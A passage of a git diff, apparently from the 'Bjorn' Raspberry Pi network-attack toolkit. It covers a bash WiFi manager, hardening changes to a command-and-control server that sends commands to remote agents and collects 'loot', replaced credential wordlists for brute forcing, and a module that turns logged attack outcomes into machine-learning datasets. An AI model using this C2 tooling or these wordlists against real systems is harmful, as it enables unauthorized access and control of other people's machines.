selection. Please enter a number between 1 and $max_index." + sleep 2 + continue + fi + + ssid_selected="${SSIDs[$selection]}" + security_selected="${SECURITIES[$selection]}" + + echo -n -e "${GREEN}Do you want to connect to '$ssid_selected'? (y/n): ${NC}" + read confirm + + if [[ "$confirm" =~ ^[Yy]$ ]]; then + if [ "$security_selected" == "--" ] || [ -z "$security_selected" ]; then + # Open network + log "INFO" "Connecting to open network '$ssid_selected'..." + nmcli device wifi connect "$ssid_selected" name "$ssid_selected" + else + # Secured network + echo -n -e "${GREEN}Enter WiFi Password for '$ssid_selected': ${NC}" + read -s password + echo "" + if [ -z "$password" ]; then + log "ERROR" "Password cannot be empty." + sleep 2 + continue + fi + log "INFO" "Connecting to '$ssid_selected'..." + nmcli device wifi connect "$ssid_selected" password "$password" name "$ssid_selected" + fi + + if [ $? -eq 0 ]; then + log "INFO" "Successfully connected to '$ssid_selected'." + else + log "ERROR" "Failed to connect to '$ssid_selected'." + fi + else + log "INFO" "Operation cancelled." + fi + + echo "" + read -p "Press Enter to continue..." + else + log "ERROR" "Invalid input." + sleep 2 + fi + fi + done +} + +# ============================================================ +# Function to Show Current WiFi Status +# ============================================================ +show_wifi_status() { + clear + echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" + echo -e "${BLUE}║ Current WiFi Status ║${NC}" + echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" + + # Check if WiFi is enabled + wifi_enabled=$(nmcli radio wifi) + echo -e "▶ WiFi Enabled : ${wifi_enabled}" + + # Show active connection + # Remplacer SSID par NAME + active_conn=$(nmcli -t -f ACTIVE,NAME connection show --active | grep '^yes' | cut -d':' -f2) + if [ -n "$active_conn" ]; then + echo -e "▶ Connected to : ${GREEN}$active_conn${NC}" + else + echo -e "▶ Connected to : ${RED}Not Connected${NC}" + fi + + # Show all saved connections + echo -e "\n${CYAN}Saved WiFi Connections:${NC}" + nmcli connection show | grep wifi + + echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" + echo "" + read -p "Press Enter to return to the menu..." +} + +# ============================================================ +# Function to Add a New WiFi Connection +# ============================================================ +add_wifi_connection() { + echo -e "${CYAN}Add a New WiFi Connection${NC}" + echo -n "Enter SSID (Network Name): " + read ssid + echo -n "Enter WiFi Password (leave empty for open network): " + read -s password + echo "" + + if [ -z "$ssid" ]; then + log "ERROR" "SSID cannot be empty." + sleep 2 + return + fi + + if [ -n "$password" ]; then + log "INFO" "Adding new WiFi connection for SSID: $ssid" + nmcli device wifi connect "$ssid" password "$password" name "$ssid" + else + log "INFO" "Adding new open WiFi connection for SSID: $ssid" + nmcli device wifi connect "$ssid" --ask name "$ssid" + fi + + if [ $? -eq 0 ]; then + log "INFO" "Successfully connected to '$ssid'." + else + log "ERROR" "Failed to connect to '$ssid'." + fi + + echo "" + read -p "Press Enter to return to the menu..." +} + +# ============================================================ +# Function to Delete a WiFi Connection +# ============================================================ +delete_wifi_connection() { + echo -e "${CYAN}Delete a WiFi Connection${NC}" + # Correctly filter connections by type '802-11-wireless' + connections=$(nmcli -t -f NAME,TYPE connection show | awk -F: '$2 == "802-11-wireless" {print $1}') + + if [ -z "$connections" ]; then + log "WARN" "No WiFi connections available to delete." + echo "" + read -p "Press Enter to return to the menu..." + return + fi + + echo -e "${CYAN}Available WiFi Connections:${NC}" + index=1 + declare -A CONNECTIONS + while IFS= read -r conn; do + echo -e "$index. $conn" + CONNECTIONS["$index"]="$conn" + index=$((index + 1)) + done <<< "$connections" + + echo "" + echo -n -e "${GREEN}Enter the number of the connection to delete (or press Enter to cancel): ${NC}" + read selection + + if [[ -z "$selection" ]]; then + log "INFO" "Operation cancelled." + sleep 1 + return + fi + + # Validate selection + if ! [[ "$selection" =~ ^[0-9]+$ ]]; then + log "ERROR" "Invalid selection. Please enter a valid number." + sleep 2 + return + fi + + max_index=$((index - 1)) + if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then + log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index." + sleep 2 + return + fi + + conn_name="${CONNECTIONS[$selection]}" + + # Backup the connection before deletion + backup_dir="$HOME/wifi_connection_backups" + mkdir -p "$backup_dir" + backup_file="$backup_dir/${conn_name}.nmconnection" + + if nmcli connection show "$conn_name" &> /dev/null; then + log "INFO" "Backing up connection '$conn_name'..." + cp "/etc/NetworkManager/system-connections/$conn_name.nmconnection" "$backup_file" 2>/dev/null + if [ $? -eq 0 ]; then + log "INFO" "Backup saved to '$backup_file'." + else + log "WARN" "Failed to backup connection. It might not be a preconfigured connection or backup location is inaccessible." + fi + else + log "WARN" "Connection '$conn_name' does not exist or cannot be backed up." + fi + + log "INFO" "Deleting WiFi connection: $conn_name" + nmcli connection delete "$conn_name" + + if [ $? -eq 0 ]; then + log "INFO" "Successfully deleted '$conn_name'." + else + log "ERROR" "Failed to delete '$conn_name'." + fi + + echo "" + read -p "Press Enter to return to the menu..." +} + +# ============================================================ +# Function to Clear All Saved WiFi Connections +# ============================================================ +clear_all_connections() { + echo -e "${YELLOW}Are you sure you want to delete all saved WiFi connections? (y/n): ${NC}" + read confirm + if [[ "$confirm" =~ ^[Yy]$ ]]; then + log "INFO" "Deleting all saved WiFi connections..." + connections=$(nmcli -t -f NAME,TYPE connection show | awk -F: '$2 == "802-11-wireless" {print $1}') + for conn in $connections; do + # Backup before deletion + backup_dir="$HOME/wifi_connection_backups" + mkdir -p "$backup_dir" + backup_file="$backup_dir/${conn}.nmconnection" + if nmcli connection show "$conn" &> /dev/null; then + cp "/etc/NetworkManager/system-connections/$conn.nmconnection" "$backup_file" 2>/dev/null + if [ $? -eq 0 ]; then + log "INFO" "Backup saved to '$backup_file'." + else + log "WARN" "Failed to backup connection '$conn'." + fi + fi + + nmcli connection delete "$conn" + log "INFO" "Deleted connection: $conn" + done + log "INFO" "All saved WiFi connections have been deleted." + else + log "INFO" "Operation cancelled." + fi + echo "" + read -p "Press Enter to return to the menu..." +} + +# ============================================================ +# Function to Manage WiFi Connections +# ============================================================ +manage_wifi_connections() { + while true; do + clear + echo -e "${CYAN}Manage WiFi Connections${NC}" + echo -e "1. List WiFi Connections" + echo -e "2. Delete a WiFi Connection" + echo -e "3. Recreate a WiFi Connection from Backup" + echo -e "4. Back to Main Menu" + echo -n -e "${GREEN}Choose an option (1-4): ${NC}" + read choice + + case $choice in + 1) + # List WiFi connections + clear + echo -e "${CYAN}Saved WiFi Connections:${NC}" + nmcli -t -f NAME,TYPE connection show | awk -F: '$2 == "802-11-wireless" {print $1}' + echo "" + read -p "Press Enter to return to the Manage WiFi Connections menu..." + ;; + 2) + delete_wifi_connection + ;; + 3) + # Liste des sauvegardes disponibles + backup_dir="$HOME/wifi_connection_backups" + if [ ! -d "$backup_dir" ]; then + log "WARN" "No backup directory found at '$backup_dir'." + echo "" + read -p "Press Enter to return to the Manage WiFi Connections menu..." + continue + fi + + backups=("$backup_dir"/*.nmconnection) + if [ ${#backups[@]} -eq 0 ]; then + log "WARN" "No backup files found in '$backup_dir'." + echo "" + read -p "Press Enter to return to the Manage WiFi Connections menu..." + continue + fi + + echo -e "${CYAN}Available WiFi Connection Backups:${NC}" + index=1 + declare -A BACKUPS + for backup in "${backups[@]}"; do + backup_name=$(basename "$backup" .nmconnection) + echo -e "$index. $backup_name" + BACKUPS["$index"]="$backup_name" + index=$((index + 1)) + done + + echo "" + echo -n -e "${GREEN}Enter the number of the connection to recreate (or press Enter to cancel): ${NC}" + read selection + + if [[ -z "$selection" ]]; then + log "INFO" "Operation cancelled." + sleep 1 + continue + fi + + # Validate selection + if ! [[ "$selection" =~ ^[0-9]+$ ]]; then + log "ERROR" "Invalid selection. Please enter a valid number." + sleep 2 + continue + fi + + max_index=$((index - 1)) + if [ "$selection" -lt 1 ] || [ "$selection" -gt "$max_index" ]; then + log "ERROR" "Invalid selection. Please enter a number between 1 and $max_index." + sleep 2 + continue + fi + + conn_name="${BACKUPS[$selection]}" + + backup_file="$backup_dir/${conn_name}.nmconnection" + + # Vérifier que le fichier de sauvegarde existe + if [ ! -f "$backup_file" ]; then + log "ERROR" "Backup file '$backup_file' does not exist." + sleep 2 + continue + fi + + log "INFO" "Recreating connection '$conn_name' from backup..." + cp "$backup_file" "/etc/NetworkManager/system-connections/" 2>/dev/null + if [ $? -ne 0 ]; then + log "ERROR" "Failed to copy backup file to NetworkManager directory. Check permissions." + sleep 2 + continue + fi + + # Set correct permissions + chmod 600 "/etc/NetworkManager/system-connections/$conn_name.nmconnection" + + # Reload NetworkManager connections + nmcli connection reload + + # Bring the connection up + nmcli connection up "$conn_name" + + if [ $? -eq 0 ]; then + log "INFO" "Successfully recreated and connected to '$conn_name'." + else + log "ERROR" "Failed to recreate and connect to '$conn_name'." + fi + + echo "" + read -p "Press Enter to return to the Manage WiFi Connections menu..." + ;; + 4) + log "INFO" "Returning to Main Menu." + return + ;; + *) + log "ERROR" "Invalid option." + sleep 2 + ;; + esac + done +} + +# ============================================================ +# Function to Force Refresh WiFi Connections +# ============================================================ +force_refresh_wifi_connections() { + log "INFO" "Refreshing WiFi connections..." + nmcli connection reload + # Identify the WiFi device (e.g., wlan0, wlp2s0) + wifi_device=$(nmcli device status | awk '$2 == "wifi" {print $1}') + if [ -n "$wifi_device" ]; then + nmcli device disconnect "$wifi_device" + nmcli device connect "$wifi_device" + log "INFO" "WiFi connections have been refreshed." + else + log "WARN" "No WiFi device found to refresh." + fi + echo "" + read -p "Press Enter to return to the menu..." +} + +# ============================================================ +# Function to Display the Main Menu +# ============================================================ +display_main_menu() { + while true; do + clear + echo -e "${BLUE}╔════════════════════════════════════════╗${NC}" + echo -e "${BLUE}║ Wifi Manager Menu by Infinition ║${NC}" + echo -e "${BLUE}╠════════════════════════════════════════╣${NC}" + echo -e "${BLUE}║${NC} 1. List Available WiFi Networks ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 2. Show Current WiFi Status ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 3. Add a New WiFi Connection ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 4. Delete a WiFi Connection ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 5. Clear All Saved WiFi Connections ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 6. Manage WiFi Connections ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 7. Force Refresh WiFi Connections ${BLUE}║${NC}" + echo -e "${BLUE}║${NC} 8. Exit ${BLUE}║${NC}" + echo -e "${BLUE}╚════════════════════════════════════════╝${NC}" + echo -e "Note: Ensure your WiFi adapter is enabled." + echo -e "${YELLOW}Usage: $0 [OPTIONS] (use -h for help)${NC}" + echo -n -e "${GREEN}Please choose an option (1-8): ${NC}" + read choice + + case $choice in + 1) + list_wifi_and_connect + ;; + 2) + show_wifi_status + ;; + 3) + add_wifi_connection + ;; + 4) + delete_wifi_connection + ;; + 5) + clear_all_connections + ;; + 6) + manage_wifi_connections + ;; + 7) + force_refresh_wifi_connections + ;; + 8) + log "INFO" "Exiting Wifi Manager. Goodbye!" + exit 0 + ;; + *) + log "ERROR" "Invalid option. Please choose between 1-8." + sleep 2 + ;; + esac + done +} + +# ============================================================ +# Process Command Line Arguments +# ============================================================ +while getopts "hfclsadm" opt; do + case $opt in + h) + show_usage + ;; + f) + force_refresh_wifi_connections + exit 0 + ;; + c) + clear_all_connections + exit 0 + ;; + l) + list_wifi_and_connect + exit 0 + ;; + s) + show_wifi_status + exit 0 + ;; + a) + add_wifi_connection + exit 0 + ;; + d) + delete_wifi_connection + exit 0 + ;; + m) + manage_wifi_connections + exit 0 + ;; + \?) + log "ERROR" "Invalid option: -$OPTARG" + show_usage + ;; + esac +done + +# ============================================================ +# Check Prerequisites Before Starting +# ============================================================ +check_prerequisites + +# ============================================================ +# Handle preconfigured.nmconnection if Exists +# ============================================================ +handle_preconfigured_connection + +# ============================================================ +# Start the Main Menu +# ============================================================ +display_main_menu diff --git a/c2_manager.py b/c2_manager.py index 008ab09..a2f77f0 100644 --- a/c2_manager.py +++ b/c2_manager.py @@ -612,6 +612,7 @@ class C2Manager: self._server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._server_socket.bind((self.bind_ip, self.bind_port)) self._server_socket.listen(128) + self._server_socket.settimeout(1.0) # Start accept thread self._running = True @@ -631,6 +632,12 @@ class C2Manager: except Exception as e: self.logger.error(f"Failed to start C2 server: {e}") + if self._server_socket: + try: + self._server_socket.close() + except Exception: + pass + self._server_socket = None self._running = False return {"status": "error", "message": str(e)} @@ -647,6 +654,12 @@ class C2Manager: self._server_socket.close() self._server_socket = None + if self._server_thread and self._server_thread.is_alive(): + self._server_thread.join(timeout=3.0) + if self._server_thread.is_alive(): + self.logger.warning("C2 accept thread did not exit cleanly") + self._server_thread = None + # Disconnect all clients with self._lock: for client_id in list(self._clients.keys()): @@ -774,7 +787,7 @@ class C2Manager: for row in rows: agent_id = row["id"] - # Conversion last_seen → timestamp ms + # Conversion last_seen -> timestamp ms last_seen_raw = row.get("last_seen") last_seen_epoch = None if last_seen_raw: @@ -803,7 +816,7 @@ class C2Manager: "tags": [] } - # --- 2) Écraser si agent en mémoire (connecté) --- + # If connected in memory, prefer live telemetry values. if agent_id in self._clients: info = self._clients[agent_id]["info"] agent_info.update({ @@ -816,10 +829,10 @@ class C2Manager: "disk": info.get("disk_percent", 0), "ip": info.get("ip_address", agent_info["ip"]), "uptime": info.get("uptime", 0), - "last_seen": int(datetime.utcnow().timestamp() * 1000), # en ms + "last_seen": int(datetime.utcnow().timestamp() * 1000), }) - # --- 3) Vérifier si trop vieux → offline --- + # Mark stale clients as offline. if agent_info["last_seen"]: delta = (now.timestamp() * 1000) - agent_info["last_seen"] if delta > OFFLINE_THRESHOLD * 1000: @@ -827,33 +840,30 @@ class C2Manager: agents.append(agent_info) - # Déduplication par hostname (ou id fallback) : on garde le plus récent et on - # privilégie un statut online par rapport à offline. - dedup = {} - for a in agents: - key = (a.get('hostname') or a['id']).strip().lower() - prev = dedup.get(key) - if not prev: - dedup[key] = a - continue + # Deduplicate by hostname (or id fallback), preferring healthier/recent entries. + dedup = {} + for a in agents: + key = (a.get("hostname") or a["id"]).strip().lower() + prev = dedup.get(key) + if not prev: + dedup[key] = a + continue - def rank(status): # online < idle < offline - return {'online': 0, 'idle': 1, 'offline': 2}.get(status, 3) + def rank(status): + return {"online": 0, "idle": 1, "offline": 2}.get(status, 3) - better = False - if rank(a['status']) < rank(prev['status']): + better = False + if rank(a["status"]) < rank(prev["status"]): + better = True + else: + la = a.get("last_seen") or 0 + lp = prev.get("last_seen") or 0 + if la > lp: better = True - else: - la = a.get('last_seen') or 0 - lp = prev.get('last_seen') or 0 - if la > lp: - better = True - if better: - dedup[key] = a + if better: + dedup[key] = a - return list(dedup.values()) - - return agents + return list(dedup.values()) def send_command(self, targets: List[str], command: str) -> dict: """Send command to specific agents""" @@ -1060,6 +1070,8 @@ class C2Manager: args=(sock, addr), daemon=True ).start() + except socket.timeout: + continue except OSError: break # Server socket closed except Exception as e: @@ -1159,10 +1171,19 @@ class C2Manager: def _receive_from_client(self, sock: socket.socket, cipher: Fernet) -> Optional[dict]: try: + # OPTIMIZATION: Set timeout to prevent threads hanging forever + sock.settimeout(15.0) + header = sock.recv(4) if not header or len(header) != 4: return None length = struct.unpack(">I", header)[0] + + # Memory protection: prevent massive data payloads + if length > 10 * 1024 * 1024: + self.logger.warning(f"Rejecting oversized message: {length} bytes") + return None + data = b"" while len(data) < length: chunk = sock.recv(min(4096, length - len(data))) @@ -1172,13 +1193,11 @@ class C2Manager: decrypted = cipher.decrypt(data) return json.loads(decrypted.decode()) except (OSError, ConnectionResetError, BrokenPipeError): - # socket fermé/abandonné → None = déconnexion propre return None except Exception as e: self.logger.error(f"Receive error: {e}") return None - def _send_to_client(self, client_id: str, command: str): with self._lock: client = self._clients.get(client_id) @@ -1191,8 +1210,6 @@ class C2Manager: header = struct.pack(">I", len(encrypted)) sock.sendall(header + encrypted) - - def _process_client_message(self, client_id: str, data: dict): with self._lock: if client_id not in self._clients: @@ -1212,16 +1229,17 @@ class C2Manager: elif 'telemetry' in data: telemetry = data['telemetry'] with self._lock: + # OPTIMIZATION: Prune telemetry fields kept in-memory client_info.update({ - 'hostname': telemetry.get('hostname'), - 'platform': telemetry.get('platform'), - 'os': telemetry.get('os'), - 'os_version': telemetry.get('os_version'), - 'architecture': telemetry.get('architecture'), - 'cpu_percent': telemetry.get('cpu_percent', 0), - 'mem_percent': telemetry.get('mem_percent', 0), - 'disk_percent': telemetry.get('disk_percent', 0), - 'uptime': telemetry.get('uptime', 0) + 'hostname': str(telemetry.get('hostname', ''))[:64], + 'platform': str(telemetry.get('platform', ''))[:32], + 'os': str(telemetry.get('os', ''))[:32], + 'os_version': str(telemetry.get('os_version', ''))[:64], + 'architecture': str(telemetry.get('architecture', ''))[:16], + 'cpu_percent': float(telemetry.get('cpu_percent', 0)), + 'mem_percent': float(telemetry.get('mem_percent', 0)), + 'disk_percent': float(telemetry.get('disk_percent', 0)), + 'uptime': float(telemetry.get('uptime', 0)) }) self.db.save_telemetry(client_id, telemetry) self.bus.emit({"type": "telemetry", "id": client_id, **telemetry}) @@ -1230,7 +1248,6 @@ class C2Manager: self._handle_loot(client_id, data['download']) elif 'result' in data: - result = data['result'] # >>> ici on enregistre avec la vraie commande self.db.save_command(client_id, last_cmd or '', result, True) self.bus.emit({"type": "console", "target": client_id, "text": str(result), "kind": "RX"}) @@ -1329,3 +1346,6 @@ class C2Manager: # ========== Global Instance ========== c2_manager = C2Manager() + + + diff --git a/comment.py b/comment.py index b02880f..024fd2f 100644 --- a/comment.py +++ b/comment.py @@ -280,19 +280,23 @@ class CommentAI: if not rows: return None - # Weighted selection pool - pool: List[str] = [] + # Weighted selection using random.choices (no temporary list expansion) + texts: List[str] = [] + weights: List[int] = [] for row in rows: - try: - w = int(_row_get(row, "weight", 1)) or 1 - except Exception: - w = 1 - w = max(1, w) text = _row_get(row, "text", "") if text: - pool.extend([text] * w) + try: + w = int(_row_get(row, "weight", 1)) or 1 + except Exception: + w = 1 + texts.append(text) + weights.append(max(1, w)) - chosen = random.choice(pool) if pool else _row_get(rows[0], "text", None) + if texts: + chosen = random.choices(texts, weights=weights, k=1)[0] + else: + chosen = _row_get(rows[0], "text", None) # Templates {var} if chosen and params: diff --git a/data/input/dictionary/passwords.txt b/data/input/dictionary/passwords.txt index ff40d04..cce64a6 100644 --- a/data/input/dictionary/passwords.txt +++ b/data/input/dictionary/passwords.txt @@ -1,7 +1,16 @@ -root -admin -bjorn +MqUG09FmPb +OD1THT4mKMnlt2M$ +letmein +QZKOJDBEJf +ZrXqzIlZk3 +9XP5jT3gwJjmvULK password -toor -1234 -123456 +9Pbc8RjB5s +fcQRQUxnZl +Jzp0G7kolyloIk7g +DyMuqqfGYj +G8tCoDFNIM +8gv1j!vubL20xCH$ +i5z1nlF3Uf +zkg3ojoCoKAHaPo% +oWcK1Zmkve \ No newline at end of file diff --git a/data/input/dictionary/users.txt b/data/input/dictionary/users.txt index 75ac146..cb19a5b 100644 --- a/data/input/dictionary/users.txt +++ b/data/input/dictionary/users.txt @@ -1,3 +1,8 @@ +manager root admin -bjorn +db_audit +dev +user +boss +deploy \ No newline at end of file diff --git a/data_consolidator.py b/data_consolidator.py new file mode 100644 index 0000000..a9c96ec --- /dev/null +++ b/data_consolidator.py @@ -0,0 +1,829 @@ +""" +data_consolidator.py - Data Consolidation Engine for Deep Learning +═══════════════════════════════════════════════════════════════════════════ + +Purpose: + Consolidate logged features into training-ready datasets. + Prepare data exports for deep learning on external PC. + +Features: + - Aggregate features across time windows + - Compute statistical features + - Create feature vectors for neural networks + - Export in formats ready for TensorFlow/PyTorch + - Incremental consolidation (low memory footprint) + +Author: Bjorn Team +Version: 2.0.0 +""" + +import json +import csv +import time +import gzip +import heapq +from datetime import datetime, timedelta +from typing import Dict, List, Any, Optional, Tuple +from pathlib import Path +from logger import Logger + +logger = Logger(name="data_consolidator.py", level=20) + +try: + import requests +except ImportError: + requests = None + + +class DataConsolidator: + """ + Consolidates raw feature logs into training datasets. + Optimized for Raspberry Pi Zero - processes in batches. + """ + + def __init__(self, shared_data, export_dir: str = None): + """ + Initialize data consolidator + + Args: + shared_data: SharedData instance + export_dir: Directory for export files + """ + self.shared_data = shared_data + self.db = shared_data.db + + if export_dir is None: + # Default to shared_data path (cross-platform) + self.export_dir = Path(getattr(shared_data, 'ml_exports_dir', Path(shared_data.data_dir) / "ml_exports")) + else: + self.export_dir = Path(export_dir) + + self.export_dir.mkdir(parents=True, exist_ok=True) + # Server health state consumed by orchestrator fallback logic. + self.last_server_attempted = False + self.last_server_contact_ok = None + self._upload_backoff_until = 0.0 + self._upload_backoff_current_s = 0.0 + + logger.info(f"DataConsolidator initialized, exports: {self.export_dir}") + + def _set_server_contact_state(self, attempted: bool, ok: Optional[bool]) -> None: + self.last_server_attempted = bool(attempted) + self.last_server_contact_ok = ok if attempted else None + + def _apply_upload_backoff(self, base_backoff_s: int, max_backoff_s: int = 3600) -> int: + """ + Exponential upload retry backoff: + base -> base*2 -> base*4 ... capped at max_backoff_s. + Returns the delay (seconds) applied for the next retry window. + """ + base = max(10, int(base_backoff_s)) + cap = max(base, int(max_backoff_s)) + prev = float(getattr(self, "_upload_backoff_current_s", 0.0) or 0.0) + + if prev <= 0: + delay = base + else: + delay = min(cap, max(base, int(prev * 2))) + + self._upload_backoff_current_s = float(delay) + self._upload_backoff_until = time.monotonic() + delay + return int(delay) + + # ═══════════════════════════════════════════════════════════════════════ + # CONSOLIDATION ENGINE + # ═══════════════════════════════════════════════════════════════════════ + + def consolidate_features( + self, + batch_size: int = None, + max_batches: Optional[int] = None + ) -> Dict[str, int]: + """ + Consolidate raw features into aggregated feature vectors. + Processes unconsolidated records in batches. + """ + if batch_size is None: + batch_size = int(getattr(self.shared_data, "ai_batch_size", 100)) + batch_size = max(1, min(int(batch_size), 5000)) + stats = { + 'records_processed': 0, + 'records_aggregated': 0, + 'batches_completed': 0, + 'errors': 0 + } + + try: + # Get unconsolidated records + unconsolidated = self.db.query(""" + SELECT COUNT(*) as cnt + FROM ml_features + WHERE consolidated=0 + """)[0]['cnt'] + + if unconsolidated == 0: + logger.info("No unconsolidated features to process") + return stats + + logger.info(f"Consolidating {unconsolidated} feature records...") + + batch_count = 0 + while True: + if max_batches and batch_count >= max_batches: + break + + # Fetch batch + batch = self.db.query(f""" + SELECT * FROM ml_features + WHERE consolidated=0 + ORDER BY timestamp + LIMIT {batch_size} + """) + + if not batch: + break + + # Process batch + for record in batch: + try: + self._consolidate_single_record(record) + stats['records_processed'] += 1 + except Exception as e: + logger.error(f"Error consolidating record {record['id']}: {e}") + stats['errors'] += 1 + + # Mark as consolidated + record_ids = [r['id'] for r in batch] + placeholders = ','.join('?' * len(record_ids)) + self.db.execute(f""" + UPDATE ml_features + SET consolidated=1 + WHERE id IN ({placeholders}) + """, record_ids) + + stats['batches_completed'] += 1 + batch_count += 1 + + # Progress log + if batch_count % 10 == 0: + logger.info( + f"Consolidation progress: {stats['records_processed']} records, " + f"{stats['batches_completed']} batches" + ) + + logger.success( + f"Consolidation complete: {stats['records_processed']} records processed, " + f"{stats['errors']} errors" + ) + + except Exception as e: + logger.error(f"Consolidation failed: {e}") + stats['errors'] += 1 + + return stats + + def _consolidate_single_record(self, record: Dict[str, Any]): + """ + Process a single feature record into aggregated form. + Computes statistical features and feature vectors. + """ + try: + # Parse JSON fields once — reused by _build_feature_vector to avoid double-parsing + host_features = json.loads(record.get('host_features', '{}')) + network_features = json.loads(record.get('network_features', '{}')) + temporal_features = json.loads(record.get('temporal_features', '{}')) + action_features = json.loads(record.get('action_features', '{}')) + + # Combine all features + all_features = { + **host_features, + **network_features, + **temporal_features, + **action_features + } + + # Build numerical feature vector — pass already-parsed dicts to avoid re-parsing + feature_vector = self._build_feature_vector( + host_features, network_features, temporal_features, action_features + ) + + # Determine time window + raw_ts = record['timestamp'] + if isinstance(raw_ts, str): + try: + timestamp = datetime.fromisoformat(raw_ts) + except ValueError: + timestamp = datetime.now() + elif isinstance(raw_ts, datetime): + timestamp = raw_ts + else: + timestamp = datetime.now() + + hourly_window = timestamp.replace(minute=0, second=0, microsecond=0).isoformat() + + # Update or insert aggregated record + self._update_aggregated_features( + mac_address=record['mac_address'], + time_window='hourly', + timestamp=hourly_window, + action_name=record['action_name'], + success=record['success'], + duration=record['duration_seconds'], + reward=record['reward'], + feature_vector=feature_vector, + all_features=all_features + ) + + except Exception as e: + logger.error(f"Error consolidating single record: {e}") + raise + + def _build_feature_vector( + self, + host_features: Dict[str, Any], + network_features: Dict[str, Any], + temporal_features: Dict[str, Any], + action_features: Dict[str, Any], + ) -> Dict[str, float]: + """ + Build a named feature dictionary from already-parsed feature dicts. + Accepts pre-parsed dicts so JSON is never decoded twice per record. + Uses shared ai_utils for consistency. + """ + from ai_utils import extract_neural_features_dict + + return extract_neural_features_dict( + host_features=host_features, + network_features=network_features, + temporal_features=temporal_features, + action_features=action_features, + ) + + def _update_aggregated_features( + self, + mac_address: str, + time_window: str, + timestamp: str, + action_name: str, + success: int, + duration: float, + reward: float, + feature_vector: Dict[str, float], + all_features: Dict[str, Any] + ): + """ + Update or insert aggregated feature record. + Accumulates statistics over the time window. + """ + try: + # Check if record exists + existing = self.db.query(""" + SELECT * FROM ml_features_aggregated + WHERE mac_address=? AND time_window=? AND computed_at=? + """, (mac_address, time_window, timestamp)) + + if existing: + # Update existing record + old = existing[0] + new_total = old['total_actions'] + 1 + # ... typical stats update ... + + # Merge feature vectors (average each named feature) + old_vector = json.loads(old['feature_vector']) # Now a Dict + if isinstance(old_vector, list): # Migration handle + old_vector = {} + + merged_vector = {} + # Combine keys from both + all_keys = set(old_vector.keys()) | set(feature_vector.keys()) + for k in all_keys: + v_old = old_vector.get(k, 0.0) + v_new = feature_vector.get(k, 0.0) + merged_vector[k] = (v_old * old['total_actions'] + v_new) / new_total + + self.db.execute(""" + UPDATE ml_features_aggregated + SET total_actions=total_actions+1, + success_rate=(success_rate*total_actions + ?)/(total_actions+1), + avg_duration=(avg_duration*total_actions + ?)/(total_actions+1), + total_reward=total_reward + ?, + feature_vector=? + WHERE mac_address=? AND time_window=? AND computed_at=? + """, ( + success, + duration, + reward, + json.dumps(merged_vector), + mac_address, + time_window, + timestamp + )) + else: + # Insert new record + self.db.execute(""" + INSERT INTO ml_features_aggregated ( + mac_address, time_window, computed_at, + total_actions, success_rate, avg_duration, total_reward, + feature_vector + ) VALUES (?, ?, ?, 1, ?, ?, ?, ?) + """, ( + mac_address, + time_window, + timestamp, + float(success), + duration, + reward, + json.dumps(feature_vector) + )) + + except Exception as e: + logger.error(f"Error updating aggregated features: {e}") + raise + + # ═══════════════════════════════════════════════════════════════════════ + # EXPORT FUNCTIONS + # ═══════════════════════════════════════════════════════════════════════ + + def export_for_training( + self, + format: str = 'csv', + compress: bool = True, + max_records: Optional[int] = None + ) -> Tuple[str, int]: + """ + Export consolidated features for deep learning training. + + Args: + format: 'csv', 'jsonl', or 'parquet' + compress: Whether to gzip the output + max_records: Maximum records to export (None = all) + + Returns: + Tuple of (file_path, record_count) + """ + try: + if max_records is None: + max_records = int(getattr(self.shared_data, "ai_export_max_records", 1000)) + max_records = max(100, min(int(max_records), 20000)) + + # Generate filename + timestamp = datetime.now().strftime('%Y%m%d_%H%M%S') + base_filename = f"bjorn_training_{timestamp}.{format}" + + if compress and format != 'parquet': + base_filename += '.gz' + + filepath = self.export_dir / base_filename + + # Fetch data + limit_clause = f"LIMIT {max_records}" + records = self.db.query(f""" + SELECT + mf.*, + mfa.feature_vector, + mfa.success_rate as aggregated_success_rate, + mfa.total_actions as aggregated_total_actions + FROM ml_features mf + LEFT JOIN ml_features_aggregated mfa + ON mf.mac_address = mfa.mac_address + WHERE mf.consolidated=1 AND mf.export_batch_id IS NULL + ORDER BY mf.timestamp DESC + {limit_clause} + """) + + if not records: + logger.warning("No consolidated records to export") + return "", 0 + + # Extract IDs before export so we can free the records list early + record_ids = [r['id'] for r in records] + + # Export based on format + if format == 'csv': + count = self._export_csv(records, filepath, compress) + elif format == 'jsonl': + count = self._export_jsonl(records, filepath, compress) + elif format == 'parquet': + count = self._export_parquet(records, filepath) + else: + raise ValueError(f"Unsupported format: {format}") + + # Free the large records list immediately after export — record_ids is all we still need + del records + + # Create export batch record + batch_id = self._create_export_batch(filepath, count) + + # Update records with batch ID + placeholders = ','.join('?' * len(record_ids)) + self.db.execute(f""" + UPDATE ml_features + SET export_batch_id=? + WHERE id IN ({placeholders}) + """, [batch_id] + record_ids) + del record_ids + + logger.success( + f"Exported {count} records to {filepath} " + f"(batch_id={batch_id})" + ) + + return str(filepath), count + + except Exception as e: + logger.error(f"Export failed: {e}") + raise + + def _export_csv( + self, + records: List[Dict], + filepath: Path, + compress: bool + ) -> int: + """Export records as CSV""" + open_func = gzip.open if compress else open + mode = 'wt' if compress else 'w' + + # 1. Flatten all records first to collect all possible fieldnames + flattened = [] + all_fieldnames = set() + + for r in records: + flat = { + 'timestamp': r['timestamp'], + 'mac_address': r['mac_address'], + 'ip_address': r['ip_address'], + 'action_name': r['action_name'], + 'success': r['success'], + 'duration_seconds': r['duration_seconds'], + 'reward': r['reward'] + } + + # Parse and flatten features + for field in ['host_features', 'network_features', 'temporal_features', 'action_features']: + try: + features = json.loads(r.get(field, '{}')) + for k, v in features.items(): + if isinstance(v, (int, float, bool, str)): + flat_key = f"{field}_{k}" + flat[flat_key] = v + except Exception as e: + logger.debug(f"Skip bad JSON in {field}: {e}") + + # Add named feature vector + if r.get('feature_vector'): + try: + vector = json.loads(r['feature_vector']) + if isinstance(vector, dict): + for k, v in vector.items(): + flat[f'feat_{k}'] 